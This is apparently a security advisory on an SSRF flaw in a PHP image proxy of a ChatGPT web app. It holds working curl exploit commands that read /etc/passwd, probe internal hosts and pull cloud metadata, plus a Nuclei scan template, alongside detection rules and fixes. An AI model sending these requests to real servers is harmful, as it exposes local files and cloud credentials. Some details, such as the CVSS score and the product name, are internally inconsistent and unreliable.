CVE-2024-27564

Executive Summary

CVE-2024-27564 is a Server-Side Request Forgery (SSRF) vulnerability identified in the pictureproxy.php file of the dirk1983/chatgpt repository (commit f9f4bbc), also known as "ChatGPT个人专用版" (ChatGPT Personal Edition). The vulnerability allows an unauthenticated attacker to force the application to make arbitrary HTTP requests or read local files by injecting a crafted URL into the url parameter. The CVSS score is 5.8 (Medium), but the availability of a public PoC and the potential for internal network reconnaissance or local file disclosure elevate the risk. No official patch has been released, and the vendor status is marked as UNKNOWN/UNPATCHED.

Supply Chain & Package Security

This vulnerability affects a PHP-based web application hosted on GitHub. The application is not distributed via standard package managers (NPM, PyPI, Go, Ruby), but the risk is present for any organization that has deployed this software from the dirk1983/chatgpt repository. The lack of a patch and the misleading repository name increase the risk of supply chain confusion.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 5.8 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) – limited to reading local files or internal resources
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: High (due to public PoC, no patch, and potential for internal network scanning)

Deep Dive & Mechanics

The vulnerability resides in pictureproxy.php, a script designed to proxy image requests. The script takes a url parameter and fetches the resource without proper validation or sanitization. An attacker can supply a file:// URL to read local files (e.g., /etc/passwd) or an http:// URL to make requests to internal services (e.g., cloud metadata endpoints, internal APIs).

The core issue is the lack of a whitelist or blacklist for allowed protocols and hosts. The script likely uses PHP functions like file_get_contents() or curl_exec() without restricting the scheme or destination.

Attack Flow:

1. Attacker sends a GET request to pictureproxy.php?url=file:///etc/passwd.
2. The server reads the local file and returns its contents, often with a Content-Type: image/jpeg header.
3. Alternatively, the attacker uses http://169.254.169.254/latest/meta-data/ to probe cloud environments.

Vulnerable vs. Patched Code

Vulnerable Code (pictureproxy.php):

<?php
$url = $_GET['url'];
$image = file_get_contents($url);
header('Content-Type: image/jpeg');
echo $image;
?>

Patched Code (Hypothetical):

<?php
$url = $_GET['url'];
$allowed_hosts = ['example.com', 'cdn.example.com'];
$parsed_url = parse_url($url);
if (!in_array($parsed_url['host'], $allowed_hosts) || !in_array($parsed_url['scheme'], ['http', 'https'])) {
    die('Invalid URL');
}
$image = file_get_contents($url);
header('Content-Type: image/jpeg');
echo $image;
?>

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running dirk1983/chatgpt (commit f9f4bbc or similar)
• Network access to the target

Exploitation Steps:

1. Local File Disclosure:

   curl "http://target.com/pictureproxy.php?url=file:///etc/passwd"
   

2. Internal Network Scanning:

   curl "http://target.com/pictureproxy.php?url=http://192.168.1.1/admin"
   

3. Cloud Metadata Exfiltration (AWS):

   curl "http://target.com/pictureproxy.php?url=http://169.254.169.254/latest/meta-data/"
   

Lab Setup:

• Deploy the vulnerable application using Docker:

  FROM php:7.4-apache
  COPY . /var/www/html/
  

• Run: docker build -t vulnerable-chatgpt . && docker run -d -p 80:80 vulnerable-chatgpt

Blue Team

Detection:

• Monitor for requests to pictureproxy.php with unusual url parameters (e.g., file://, http:// to private IPs).
• Alert on Content-Type: image/jpeg responses containing text data (e.g., /etc/passwd content).

Hunting:

• Search web server logs for pictureproxy.php?url= followed by file:// or private IP ranges.
• Use the provided Nuclei template for automated scanning.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /pictureproxy.php?url=file:///etc/passwd
  • HTTP requests to /pictureproxy.php?url=http://169.254.169.254/
  • Responses with Content-Type: image/jpeg containing plaintext data (e.g., root:x:0:0:)

• File IOCs:

  • Presence of pictureproxy.php in the web root
  • Log entries showing file_get_contents() calls with file:// or http:// to internal IPs

• Behavioral IOCs:

  • Unexpected outbound connections from the web server to internal IPs or cloud metadata endpoints

Detection Engineering

YARA Rule

rule CVE_2024_27564_SSRF {
    meta:
        description = "Detects SSRF exploitation attempts against CVE-2024-27564"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-27564"
    strings:
        $s1 = "pictureproxy.php?url="
        $s2 = "file://"
        $s3 = "169.254.169.254"
        $s4 = "192.168."
        $s5 = "10."
    condition:
        any of ($s*) and #s1 > 0
}

Sigma Rule

title: CVE-2024-27564 SSRF Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SSRF attempts against pictureproxy.php
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "pictureproxy.php?url="
        cs-uri-query|contains|any:
            - "file://"
            - "169.254.169.254"
            - "192.168."
            - "10."
    condition: selection
falsepositives:
    - Legitimate use of proxy for internal images (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-27564 SSRF Attempt"; flow:to_server; content:"pictureproxy.php?url="; http_uri; content:"file://"; distance:0; within:100; sid:1000001; rev:1;)

Nuclei Template

id: CVE-2024-27564

info:
  name: ChatGPT个人专用版 - Server Side Request Forgery
  author: DhiyaneshDK
  severity: high
  description: |
    A Server-Side Request Forgery (SSRF) in pictureproxy.php of ChatGPT commit f9f4bbc allows attackers to force the application to make arbitrary requests via injection of crafted URLs into the urlparameter.
  impact: |
    Attackers can force the application to make arbitrary requests including reading local files and accessing internal resources via SSRF in the pictureproxy.php file.
  remediation: |
    Update ChatGPT个人专用版 to a version that addresses CVE-2024-27564.
  reference:
    - https://github.com/dirk1983/chatgpt/issues/114
    - https://nvd.nist.gov/vuln/detail/CVE-2024-27564
  classification:
    epss-score: 0.92255
    epss-percentile: 0.99724
    cpe: cpe:2.3:a:chanzhaoyu:chatgpt_web:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: chanzhaoyu
    product: chatgpt_web
    fofa-query: "title=\"ChatGPT个人专用版\""
  tags: cve,cve2024,chatgpt,ssrf,oast,oos,lfi,vkev,vuln,ai

http:
  - method: GET
    path:
      - "{{BaseURL}}/pictureproxy.php?url=file:///etc/passwd"
      - "{{BaseURL}}/pictureproxy.php?url=http://{{interactsh-url}}"

    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(header, "image/jpeg")
          - regex('root:.*:0:0:', body)
        condition: and

      - type: dsl
        dsl:
          - contains(interactsh_protocol, "dns")
          - contains(header, "image/jpeg")
          - status_code == 200
        condition: and

Remediation & Mitigation

Immediate Actions:

1. Disable or remove pictureproxy.php from the web root if not essential.
2. Implement input validation to restrict the url parameter to a whitelist of allowed domains and protocols (only http/https to trusted hosts).
3. Apply a Web Application Firewall (WAF) rule to block requests containing file:// or private IP ranges in the url parameter.

Long-term Fix:

• Replace the vulnerable script with a secure image proxy that validates URLs against a strict whitelist and uses a dedicated service account with minimal permissions.
• Monitor the GitHub repository for an official patch and apply it promptly.

Detection:

• Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
• Regularly scan for the vulnerable file using the Nuclei template.

Valters IT

{/* [Security Hash: 41BADD8258214252B2348CF1] */}